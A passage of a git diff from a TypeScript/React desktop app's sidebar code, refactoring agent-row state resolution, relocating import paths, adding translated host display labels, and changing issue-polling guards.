 import { buildTitleDerivedAgentRows } from './worktree-title-derived-agent-rows'
 import type { TitleDerivedPaneForeground } from './title-derived-pane-agent-identity'
@@ -180,11 +180,6 @@ export function buildWorktreeAgentRows(args: {
     for (const entry of explicitEntries) {
       const rowEntry = entryWithRuntimeOrchestration(entry, args.runtimeAgentOrchestrationByPaneKey)
       const isFresh = isAgentStatusFresh(rowEntry, args.now, AGENT_STATUS_STALE_AFTER_MS)
-      const shouldDecay =
-        !isFresh &&
-        (rowEntry.state === 'working' ||
-          rowEntry.state === 'blocked' ||
-          rowEntry.state === 'waiting')
       const startedAt = effectiveWorktreeAgentRowStartedAt(rowEntry)
       rows.push({
         paneKey: rowEntry.paneKey,
@@ -192,7 +187,7 @@ export function buildWorktreeAgentRows(args: {
         tab,
         agentType: resolveRowAgentType(rowEntry, tab),
         rowSource: 'live',
-        state: shouldDecay ? resolveDecayedAgentRowState(rowEntry, hasLivePty) : rowEntry.state,
+        state: resolveAgentRowState(rowEntry, args.now, hasLivePty),
         startedAt
       })
       rows.push(...buildSubagentChildRows({ parentEntry: rowEntry, tab, parentIsFresh: isFresh }))
@@ -227,9 +222,6 @@ export function buildWorktreeAgentRows(args: {
       continue
     }
     const isFresh = isAgentStatusFresh(rowEntry, args.now, AGENT_STATUS_STALE_AFTER_MS)
-    const shouldDecay =
-      !isFresh &&
-      (rowEntry.state === 'working' || rowEntry.state === 'blocked' || rowEntry.state === 'waiting')
     rows.push({
       paneKey: rowEntry.paneKey,
       entry: rowEntry,
@@ -237,9 +229,7 @@ export function buildWorktreeAgentRows(args: {
       agentType: resolveRowAgentType(rowEntry, tab),
       rowSource: 'live',
       // Even synthesized tabs use available PTY evidence to distinguish idle from unverifiable decay.
-      state: shouldDecay
-        ? resolveDecayedAgentRowState(rowEntry, tabHasLivePty(ptyIdsByTabId, tab.id))
-        : rowEntry.state,
+      state: resolveAgentRowState(rowEntry, args.now, tabHasLivePty(ptyIdsByTabId, tab.id)),
       startedAt
     })
     rows.push(...buildSubagentChildRows({ parentEntry: rowEntry, tab, parentIsFresh: isFresh }))
diff --git a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-compact-agent-row.tsx b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-compact-agent-row.tsx
index 49793f47974..3cb839dc01d 100644
--- a/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-compact-agent-row.tsx
+++ b/src/renderer/src/components/sidebar/workspace-card/activity/worktree-card-compact-agent-row.tsx
@@ -16,7 +16,7 @@ import { agentNoUpdateLabel } from '../../../../../../shared/agent-status/presen
 import { useAgentRowConversationName } from '@/components/dashboard/use-agent-row-conversation-name'
 import { lastEnteredDoneAt } from '@/components/dashboard/agent-finished-timestamp'
 import CacheTimer, { usePromptCacheCountdownForPane } from './CacheTimer'
-import { formatShortTimeAgo } from '@/lib/short-time-ago'
+import { formatShortTimeAgo } from '@/lib/time-format/short-time-ago'
 import { agentVerdictStatusLine } from '@/lib/agent-status/presentation/agent-verdict-status-line'
 import { agentRowStoppingLabel } from '@/lib/agent-status/presentation/agent-row-stopping-label'
 import { getCompactAgentLineOrder } from './worktree-card-compact-agent-line-order'
diff --git a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts
index f7b381323e8..124e9fc320c 100644
--- a/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts
+++ b/src/renderer/src/components/sidebar/workspace-card/controller/use-worktree-card-lifecycle-effects.ts
@@ -114,16 +114,9 @@ export function useWorktreeCardLifecycleEffects({
   ])
 
   // Poll issues only while visible; hidden metadata does not justify GitHub calls.
+  // Why web clients and folders too: this card is the only owner of its issue's freshness; nothing sweeps the catalog.
   useEffect(() => {
-    // Why: per-card decoration lookups from the browser flood the RPC path at paired-web startup; the host is authoritative.
-    if (
-      isWebClient() ||
-      !repo ||
-      isFolder ||
-      !worktree.linkedIssue ||
-      !issueCacheKey ||
-      !showIssue
-    ) {
+    if (!repo || !worktree.linkedIssue || !issueCacheKey || !showIssue) {
       return
     }
 
@@ -134,16 +127,14 @@ export function useWorktreeCardLifecycleEffects({
       run: () => void fetchIssue(repo.path, issueNumber, { repoId: repo.id }),
       intervalMs: 5 * 60_000
     })
-  }, [repo, isFolder, worktree.linkedIssue, fetchIssue, issueCacheKey, showIssue])
+  }, [repo, worktree.linkedIssue, fetchIssue, issueCacheKey, showIssue])
 
   useEffect(() => {
     if (
       !newCardStyle ||
       !hoverDetailsOpen ||
       showIssue ||
-      isWebClient() ||
       !repo ||
-      isFolder ||
       !worktree.linkedIssue ||
       !issueCacheKey
     ) {
@@ -155,7 +146,6 @@ export function useWorktreeCardLifecycleEffects({
     hoverDetailsOpen,
     showIssue,
     repo,
-    isFolder,
     worktree.linkedIssue,
     fetchIssue,
     issueCacheKey
diff --git a/src/renderer/src/components/sidebar/workspace-card/details/WorktreeCardPorts.tsx b/src/renderer/src/components/sidebar/workspace-card/details/WorktreeCardPorts.tsx
index 2ac0246b6e6..8c5f8a52891 100644
--- a/src/renderer/src/components/sidebar/workspace-card/details/WorktreeCardPorts.tsx
+++ b/src/renderer/src/components/sidebar/workspace-card/details/WorktreeCardPorts.tsx
@@ -7,12 +7,14 @@ import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip
 import { useWorktreeRuntimeTarget } from '@/runtime/rpc/targets/use-worktree-runtime-target'
 import {
   canStopWorkspacePort,
-  getPortOpenBrowserTooltipLabel,
   killWorkspacePortForTarget,
   openWorkspacePortInBrowser,
-  refreshWorkspacePortScanAfterStop,
-  resolvePortOpenInOrcaBrowser
+  refreshWorkspacePortScanAfterStop
 } from '@/lib/workspace-ports/workspace-port-actions'
+import {
+  getPortOpenBrowserTooltipLabel,
+  resolvePortOpenInOrcaBrowser
+} from '@/lib/workspace-ports/workspace-port-browser-open'
 import { useLocalhostLabelRouteForPort } from '@/lib/workspace-ports/workspace-port-localhost-label-selector'
 import { addressForPort } from '@/lib/workspace-ports/workspace-port-urls'
 import type { WorkspacePort } from '../../../../../../shared/workspace-ports'
diff --git a/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeLineageToggle.tsx b/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeLineageToggle.tsx
index c2d3c469072..289221c2d50 100644
--- a/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeLineageToggle.tsx
+++ b/src/renderer/src/components/sidebar/workspace-card/identity/WorktreeLineageToggle.tsx
@@ -3,7 +3,8 @@ import { ChevronDown, Workflow } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { useTranslate } from '@/i18n/use-translate'
-import { getWorktreeStatusLabel, type WorktreeStatus } from '@/lib/worktree-status'
+import { getWorktreeStatusLabel } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
 import { cn } from '@/lib/class-names'
 import StatusIndicator from '../surface/StatusIndicator'
 import { useWorktreeActivityStatuses } from '../activity/use-worktree-activity-statuses'
diff --git a/src/renderer/src/components/sidebar/workspace-card/identity/child-workspaces-toggle-target.ts b/src/renderer/src/components/sidebar/workspace-card/identity/child-workspaces-toggle-target.ts
index 4d5458f02f2..894e9dfb46b 100644
--- a/src/renderer/src/components/sidebar/workspace-card/identity/child-workspaces-toggle-target.ts
+++ b/src/renderer/src/components/sidebar/workspace-card/identity/child-workspaces-toggle-target.ts
@@ -4,7 +4,7 @@ import { getWorktreeOnHostFromState } from '@/store/workspaces/selection/worktre
 import type { AppState } from '@/store/types'
 import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity'
 import type { Worktree } from '../../../../../../shared/worktree/types'
-import { getHoveredWorkspaceIdentity } from '../../workspace-actions/deletion/hovered-workspace-delete'
+import { getHoveredWorkspaceIdentity } from './hovered-workspace-identity'
 import { computeRenderedSidebarRows } from '../../worktree-list/listing/rendered-sidebar-worktree-order'
 import { getPublishedVisibleWorktreeShortcutTargets } from '../../worktree-list/listing/visible-worktrees'
 import { computeVisibleWorktrees } from '../../worktree-list/listing/compute-visible-worktrees'
@@ -28,7 +28,6 @@ function resolveTargetWorktree(
 ): Worktree | undefined {
   const hovered = getHoveredWorkspaceIdentity(doc)
   if (hovered) {
-    // Hovered cards outrank active ones, matching workspace deletion shortcuts.
     return getIndexedAllWorktrees(selectWorktreesByRepo(state)).find(
       (worktree) =>
         worktree.id === hovered.workspaceId &&
diff --git a/src/renderer/src/components/sidebar/workspace-card/identity/hovered-workspace-identity.ts b/src/renderer/src/components/sidebar/workspace-card/identity/hovered-workspace-identity.ts
new file mode 100644
index 00000000000..5f1ac7fcd78
--- /dev/null
+++ b/src/renderer/src/components/sidebar/workspace-card/identity/hovered-workspace-identity.ts
@@ -0,0 +1,11 @@
+export function getHoveredWorkspaceIdentity(
+  doc: Pick<Document, 'querySelectorAll'> = document
+): { hostIdentity: string; workspaceId: string } | null {
+  const hoveredRows = doc.querySelectorAll<HTMLElement>(
+    '[data-worktree-sidebar] [role="option"][data-worktree-id]:hover'
+  )
+  const row = hoveredRows.item(hoveredRows.length - 1)
+  const workspaceId = row?.dataset.worktreeId
+  const hostIdentity = row?.dataset.worktreeHostIdentity
+  return workspaceId && hostIdentity ? { workspaceId, hostIdentity } : null
+}
diff --git a/src/renderer/src/components/sidebar/workspace-card/surface/StatusIndicator.tsx b/src/renderer/src/components/sidebar/workspace-card/surface/StatusIndicator.tsx
index d10ec85460a..bbbb6b39439 100644
--- a/src/renderer/src/components/sidebar/workspace-card/surface/StatusIndicator.tsx
+++ b/src/renderer/src/components/sidebar/workspace-card/surface/StatusIndicator.tsx
@@ -8,7 +8,8 @@ import {
   StateIndicatorTooltip,
   type StateIndicatorTooltipSide
 } from '@/components/StateIndicatorTooltip'
-import { getWorktreeStatusLabel, type WorktreeStatus } from '@/lib/worktree-status'
+import { getWorktreeStatusLabel } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
 
 export type Status = WorktreeStatus
 
diff --git a/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardStatusSlot.tsx b/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardStatusSlot.tsx
index cecb2824513..5d2f1b671ca 100644
--- a/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardStatusSlot.tsx
+++ b/src/renderer/src/components/sidebar/workspace-card/surface/WorktreeCardStatusSlot.tsx
@@ -6,7 +6,8 @@ import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
 import { cn } from '@/lib/class-names'
 import { observeOffscreenAnimation } from '@/lib/window-activity/offscreen-animation-pause'
-import { getWorktreeStatusLabel, type WorktreeStatus } from '@/lib/worktree-status'
+import { getWorktreeStatusLabel } from '@/lib/workspace/activity/worktree-status'
+import type { WorktreeStatus } from '../../../../../../shared/worktree-status-rollup'
 import '../activity/worktree-card-empty-inputs'
 import { FilledBellIcon } from '../identity/worktree-card-glyphs'
 import { checksLabel } from '../review/workspace-review-check-label'
diff --git a/src/renderer/src/components/sidebar/workspace-status/presentation/WorktreeStatusMenuItems.tsx b/src/renderer/src/components/sidebar/workspace-status/presentation/WorktreeStatusMenuItems.tsx
index 41fe5696076..45c9035f490 100644
--- a/src/renderer/src/components/sidebar/workspace-status/presentation/WorktreeStatusMenuItems.tsx
+++ b/src/renderer/src/components/sidebar/workspace-status/presentation/WorktreeStatusMenuItems.tsx
@@ -9,6 +9,7 @@ import { Kanban } from 'lucide-react'
 import { cn } from '@/lib/class-names'
 import { useTranslate } from '@/i18n/use-translate'
 import { getWorkspaceStatusVisualMeta } from './workspace-status'
+import { translateWorkspaceBoardStatusLabel } from '../../workspace-board-status-label'
 import type { WorkspaceStatusDefinition } from '../../../../../../shared/worktree/types'
 
 export function WorktreeStatusMenuItems(props: {
@@ -38,7 +39,7 @@ export function WorktreeStatusMenuItems(props: {
                 onSelect={() => props.onAssignWorkspaceStatus(status.id)}
               >
                 <meta.icon className={cn('size-3.5', meta.tone)} />
-                {status.label}
+                {translateWorkspaceBoardStatusLabel(status)}
               </DropdownMenuRadioItem>
             )
           })}
diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarFilter.tsx b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarFilter.tsx
index b7f3c03147c..809746c0f32 100644
--- a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarFilter.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarFilter.tsx
@@ -10,7 +10,7 @@ import {
   Server,
   SquareTerminal
 } from 'lucide-react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { Button } from '@/components/ui/button'
 import {
   Command,
@@ -29,7 +29,8 @@ import { Tooltip, TooltipTrigger, TooltipContent } from '@/components/ui/tooltip
 import RepoBadgeLabel from '@/components/repo/RepoBadgeLabel'
 import { FilterToggleRow } from './FilterToggleRow'
 import { useShortcutLabel } from '@/hooks/useShortcutLabel'
-import { searchRepos } from '@/lib/repo-search'
+import { isUnassignedShortcutLabel } from '@/i18n/unassigned-label'
+import { searchRepos } from '@/lib/workspace/catalog/repo-search'
 import { clearSidebarFilters, selectSidebarFilterState } from './sidebar-filter-actions'
 import { useWorkspaceOptionsFilterBadge } from './workspace-options-menu-items'
 import { useTranslate } from '@/i18n/use-translate'
@@ -185,7 +186,7 @@ const SidebarFilter = React.memo(function SidebarFilter({
           label={t('auto.components.sidebar.SidebarFilter.638a2d221d', 'Hide sleeping')}
           checked={!showSleepingWorkspaces}
           onChange={(hideSleeping) => setShowSleepingWorkspaces(!hideSleeping)}
-          shortcutLabel={sleepingShortcut === 'Unassigned' ? undefined : sleepingShortcut}
+          shortcutLabel={isUnassignedShortcutLabel(sleepingShortcut) ? undefined : sleepingShortcut}
         />
         {/* Show the exemption only while its parent sleeping-workspace filter can use it. */}
         {!showSleepingWorkspaces && (
diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx
index 65a9bc411e1..72151cf1a82 100644
--- a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx
@@ -1,4 +1,4 @@
-import type React from 'react'
+import React, { useMemo } from 'react'
 import {
   DropdownMenuCheckboxItem,
   DropdownMenuSub,
@@ -22,6 +22,7 @@ import { HostListSearchField } from '../../../host-picker/HostListSearchField'
 import { HostListOverflowNote } from '../../../host-picker/HostListOverflowNote'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { translateExecutionHostDetail, translateHostDisplayLabel } from '../../execution-host-label'
 
 type SidebarHostScopeMenuSectionProps = {
   hostVisibilityLabel: string
@@ -35,7 +36,7 @@ type SidebarHostScopeMenuSectionProps = {
 function getHostMetadata(host: SidebarHostOption, t: Translate = translate): string {
   const healthLabel = getSidebarHostHealthLabel(host.health, host.blockedReason, t, host.vmState)
   if (host.kind === 'local') {
-    return host.detail
+    return translateExecutionHostDetail(host.detail)
   }
   if (host.kind === 'ssh') {
     const presenceLabel =
@@ -70,7 +71,14 @@ export function SidebarHostScopeMenuSection({
 }: SidebarHostScopeMenuSectionProps): React.JSX.Element {
   const t = useTranslate()
   const allVisible = !visibleWorkspaceHostIds
-  const hostRows = pickerExecutionHosts(hostOptions)
+  const hostRows = useMemo(
+    () =>
+      pickerExecutionHosts(hostOptions).map((host) => ({
+        ...host,
+        searchText: translateHostDisplayLabel(host, t)
+      })),
+    [hostOptions, t]
+  )
   const checkedRowIds = new Set(
     (visibleWorkspaceHostIds
       ? getCheckedHostRows(hostRows, visibleWorkspaceHostIds)
@@ -144,7 +152,7 @@ export function SidebarHostScopeMenuSection({
               className="min-h-11 items-start py-1.5"
             >
               <span className="flex min-w-0 flex-col gap-0.5">
-                <span className="truncate">{host.label}</span>
+                <span className="truncate">{translateHostDisplayLabel(host, t)}</span>
                 <span className="text-[11px] font-normal text-muted-foreground">
                   {getHostMetadata(host, t)}
                 </span>
diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarProjectFilterPanel.tsx b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarProjectFilterPanel.tsx
index 7dfe0ae2b4a..6ba80f9f9ea 100644
--- a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarProjectFilterPanel.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarProjectFilterPanel.tsx
@@ -10,7 +10,7 @@ import {
   CommandList
 } from '@/components/ui/command'
 import RepoBadgeLabel from '@/components/repo/RepoBadgeLabel'
-import { searchRepos } from '@/lib/repo-search'
+import { searchRepos } from '@/lib/workspace/catalog/repo-search'
 import type { Repo } from '../../../../../../shared/repo-types'
 import { useTranslate } from '@/i18n/use-translate'
 
diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts
index b0f8b641040..40caf057354 100644
--- a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts
@@ -16,11 +16,12 @@ import type {
 } from '../../../../../../shared/execution-host/execution-host-health'
 import type { ExecutionHostRegistryEntry } from '../../../../../../shared/execution-host/execution-host-registry-entry'
 
-import { getExecutionHostHealthLabel } from '@/lib/runtime-host-copy'
+import { getExecutionHostHealthLabel } from '@/runtime/hosts/display/runtime-host-copy'
 import { pickerExecutionHosts } from '../../../../../../shared/execution-host/managed-orcad-execution-host'
 import { getCheckedHostRows } from '../../../../../../shared/workspace-view/workspace-host-visibility'
 import type { RuntimeCompatVerdict } from '../../../../../../shared/protocol-compat'
 import type { SshConnectionState, SshConnectionStatus } from '../../../../../../shared/ssh-types'
+import { translateHostDisplayLabel } from '../../execution-host-label'
 import {
   isWslHostRuntimeEnvironment,
   type PublicKnownRuntimeEnvironment
@@ -43,6 +44,7 @@ import {
 export type SidebarHostOption = {
   id: ExecutionHostId
   label: string
+  isDefaultLocalLabel?: boolean
   detail: string
   kind: 'local' | 'ssh' | 'runtime'
   health: ExecutionHostHealth
@@ -128,7 +130,11 @@ export function buildSidebarHostOptions(
     ephemeralVmHosts: args.ephemeralVmHosts
   }).map((host) => {
     if (host.kind === 'local') {
-      return { ...host, presence: 'local' }
+      return {
+        ...host,
+        isDefaultLocalLabel: host.isDefaultLocalLabel,
+        presence: 'local'
+      }
     }
     if (host.kind === 'ssh') {
       const targetId = decodeURIComponent(host.id.slice('ssh:'.length))
@@ -176,6 +182,10 @@ export function buildSidebarHostOptions(
   })
 }
 
+export function sidebarHostDisplayLabel(host: SidebarHostOption, t: Translate = translate): string {
+  return translateHostDisplayLabel(host, t)
+}
+
 export function shouldShowHostScopeControls(hosts: readonly SidebarHostOption[]): boolean {
   return pickerExecutionHosts(hosts).some((host) => host.id !== LOCAL_EXECUTION_HOST_ID)
 }
@@ -189,12 +199,12 @@ export function buildSidebarHostScopeOptions(
     {
       id: ALL_EXECUTION_HOSTS_SCOPE,
       label: t('auto.components.sidebar.sidebarHostOptions.3e102f111c', 'All hosts'),
-      detail: hosts.map((host) => host.label).join(', '),
+      detail: hosts.map((host) => translateHostDisplayLabel(host, t)).join(', '),
       health: 'mixed'
     },
     ...hosts.map((host) => ({
       id: host.id,
-      label: host.label,
+      label: translateHostDisplayLabel(host, t),
       detail: host.detail,
       health: host.health,
       ...(host.vmState ? { vmState: host.vmState } : {})
@@ -213,7 +223,7 @@ export function getSidebarHostVisibilityLabel(
     return t('auto.components.sidebar.sidebarHostOptions.3e102f111c', 'All hosts')
   }
   if (checkedRows.length === 1) {
-    return checkedRows[0].label
+    return translateHostDisplayLabel(checkedRows[0], t)
   }
   if (checkedRows.length === 0) {
     return t('auto.components.sidebar.sidebarHostOptions.hosts', 'Hosts')
@@ -252,7 +262,7 @@ export function sidebarHostSemantics(host: SidebarHostOption & ExecutionHostRegi
 export function createSidebarHostLabelsSelector() {
   let result = new Map<ExecutionHostId, string>()
   return (hosts: readonly SidebarHostOption[]): ReadonlyMap<ExecutionHostId, string> => {
-    const next = new Map(hosts.map((host) => [host.id, host.label]))
+    const next = new Map(hosts.map((host) => [host.id, translateHostDisplayLabel(host)]))
     if (!shallow(result, next)) {
       result = next
     }
diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/use-projects-collapse-shortcut.ts b/src/renderer/src/components/sidebar/worktree-list/controls/use-projects-collapse-shortcut.ts
index 366b1a0591b..501b872b888 100644
--- a/src/renderer/src/components/sidebar/worktree-list/controls/use-projects-collapse-shortcut.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/controls/use-projects-collapse-shortcut.ts
@@ -1,10 +1,10 @@
 import { useEffect } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { addAppKeyListener, removeAppKeyListener } from '@/lib/keyboard/app-keyboard-router'
 import { textFieldClaimsActionKey } from '@/lib/keyboard/text-field-shortcut-policy'
 import { getShortcutPlatform } from '@/lib/keyboard/shortcut-platform'
 import { hasVisibleOverlay } from '@/lib/visible-overlay'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
+import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification'
 import { keybindingMatchesAction } from '../../../../../../shared/keybindings'
 import {
   ModifierDoubleTapDetector,
diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/use-sidebar-host-scope-options.ts b/src/renderer/src/components/sidebar/worktree-list/controls/use-sidebar-host-scope-options.ts
index d360e1f671b..babae682528 100644
--- a/src/renderer/src/components/sidebar/worktree-list/controls/use-sidebar-host-scope-options.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/controls/use-sidebar-host-scope-options.ts
@@ -1,7 +1,9 @@
 import { selectWslHostsServing } from '../../use-wsl-hosts-enabled'
 import { useMemo } from 'react'
+import { useTranslation } from 'react-i18next'
 import { useAppStore } from '@/store'
 import { selectEphemeralVmHostLifecycles } from '@/store/slices/ephemeral-vm/ephemeral-vm-lifecycle'
+import { readUiLanguageMemoInput } from '@/i18n/ui-language-memo-input'
 import { getHostDisplayLabelOverrides } from '../../../../../../shared/host-setting-overrides'
 import {
   buildSidebarHostOptions,
@@ -15,6 +17,8 @@ export function useSidebarHostScopeOptions(): {
   hostOptions: SidebarHostOption[]
   hostScopeOptions: SidebarHostScopeOption[]
 } {
+  const { i18n } = useTranslation()
+  const language = i18n.resolvedLanguage ?? i18n.language
   const repos = useAppStore((s) => s.repos)
   const sshTargetLabels = useAppStore((s) => s.sshTargetLabels)
   const sshConnectionStates = useAppStore((s) => s.sshConnectionStates)
@@ -26,22 +30,9 @@ export function useSidebarHostScopeOptions(): {
   const ephemeralVmHosts = useAppStore(selectEphemeralVmHostLifecycles)
 
   const hostLabelOverrides = useMemo(() => getHostDisplayLabelOverrides(settings), [settings])
-  const hostOptions = useMemo(
-    () =>
-      buildSidebarHostOptions({
-        repos,
-        sshTargetLabels,
-        sshConnectionStates,
-        settings,
-        runtimeEnvironments,
-        runtimeStatusByEnvironmentId,
-        hostLabelOverrides,
-        wslHostStatuses,
-        wslHostsEnabled: selectWslHostsServing({ settings, runtimeEnvironments }),
-        wslHostServerFilesMissing,
-        ephemeralVmHosts
-      }),
-    [
+  const hostOptions = useMemo(() => {
+    readUiLanguageMemoInput(language)
+    return buildSidebarHostOptions({
       repos,
       sshTargetLabels,
       sshConnectionStates,
@@ -50,10 +41,23 @@ export function useSidebarHostScopeOptions(): {
       runtimeStatusByEnvironmentId,
       hostLabelOverrides,
       wslHostStatuses,
+      wslHostsEnabled: selectWslHostsServing({ settings, runtimeEnvironments }),
       wslHostServerFilesMissing,
       ephemeralVmHosts
-    ]
-  )
+    })
+  }, [
+    repos,
+    sshTargetLabels,
+    sshConnectionStates,
+    settings,
+    runtimeEnvironments,
+    runtimeStatusByEnvironmentId,
+    hostLabelOverrides,
+    wslHostStatuses,
+    wslHostServerFilesMissing,
+    ephemeralVmHosts,
+    language
+  ])
   const hostScopeOptions = useMemo(() => buildSidebarHostScopeOptions(hostOptions), [hostOptions])
 
   return { hostOptions, hostScopeOptions }
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx
index a3a6335224c..5baa8bfed21 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback, useMemo } from 'react'
 import { createPortal } from 'react-dom'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { selectCrossStoreFolderChildrenById } from '@/store/slices/worktrees/metadata/cross-store-lineage-parents'
 import { useShallow } from 'zustand/react/shallow'
 import {
@@ -37,7 +37,7 @@ import { useSidebarWorktreeFilters } from './use-filters'
 import { useSidebarWorktreeSelection } from '../navigation/use-selection'
 import { useWindowSidebarListModel } from './use-window-list-model'
 import { useMainSidebarListModel } from './use-main-list-model'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../../shared/sidebar-inputs-switch'
 import { useWorktreeStatusMutations } from '../drag/use-status-mutations'
 import { shouldFiltersHideAllRows } from './sidebar-empty-state-gate'
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts b/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts
index bbf8798e922..3766771d11c 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts
@@ -14,7 +14,7 @@ import {
 import { isWorkspaceOwnedBySomeoneElse } from '../../../../../../shared/workspace-creator-visibility'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import type { Worktree } from '../../../../../../shared/worktree/types'
-import { isInactiveWorkspace } from '@/lib/worktree-activity-state'
+import { isInactiveWorkspace } from '@/lib/workspace/activity/worktree-activity-state'
 
 export type DesktopWorkspaceRowFactInputs = {
   repoMap: ReadonlyMap<string, Repo>
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/sleeping-sweep-visibility.ts b/src/renderer/src/components/sidebar/worktree-list/listing/sleeping-sweep-visibility.ts
index dbb9ad4bcf6..0f38730b400 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/sleeping-sweep-visibility.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/sleeping-sweep-visibility.ts
@@ -2,7 +2,10 @@ import type { AppState } from '@/store/types'
 import type { Worktree } from '../../../../../../shared/worktree/types'
 import { isSleepingSweepExempt } from '../../../../../../shared/workspace-view/workspace-row-filters'
 import { getAgentStatusEpochNow } from '@/lib/agent-status/evidence/agent-status-epoch-clock'
-import { getWorktreeIdsWithLiveAgent, isInactiveWorkspace } from '@/lib/worktree-activity-state'
+import {
+  getWorktreeIdsWithLiveAgent,
+  isInactiveWorkspace
+} from '@/lib/workspace/activity/worktree-activity-state'
 import {
   getVisibleWorktreeBrowserActivityTabs,
   getVisibleWorktreeTerminalActivityTabs,
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts
index 3c3a7c7d9cd..7963efd609e 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts
@@ -1,14 +1,17 @@
 import { useCallback, useMemo, useState, useSyncExternalStore } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '@/store'
-import { useDesktopSidebarFeed } from '@/lib/desktop-sidebar-feed'
+import { useAppStore } from '@/store/index'
+import { useDesktopSidebarFeed } from '@/components/sidebar/sidebar-feed/desktop-sidebar-feed'
 import {
   overlaySidebarPendingLayer,
   readSidebarPendingLayer,
   subscribeSidebarPendingLayer
-} from '@/lib/sidebar-pending-layer'
-import { useSidebarListSession } from '@/lib/sidebar-list-session'
-import { readEndedCreations, subscribeEndedCreations } from '@/lib/sidebar-ended-creations'
+} from '@/components/sidebar/sidebar-feed/sidebar-pending-layer'
+import { useSidebarListSession } from '@/components/sidebar/sidebar-feed/sidebar-list-session'
+import {
+  readEndedCreations,
+  subscribeEndedCreations
+} from '@/components/sidebar/sidebar-feed/sidebar-ended-creations'
 import {
   readHiddenVmCheckouts,
   subscribeHiddenVmCheckouts,
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts
index b24d500c95b..c30dc301cd0 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts
@@ -4,6 +4,7 @@ import { shallow } from 'zustand/shallow'
 import { persistedUIValuesEqual } from '../../../../../../shared/persisted-ui-equality'
 import { useShallow } from 'zustand/react/shallow'
 import { useAppStore } from '@/store/index'
+import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
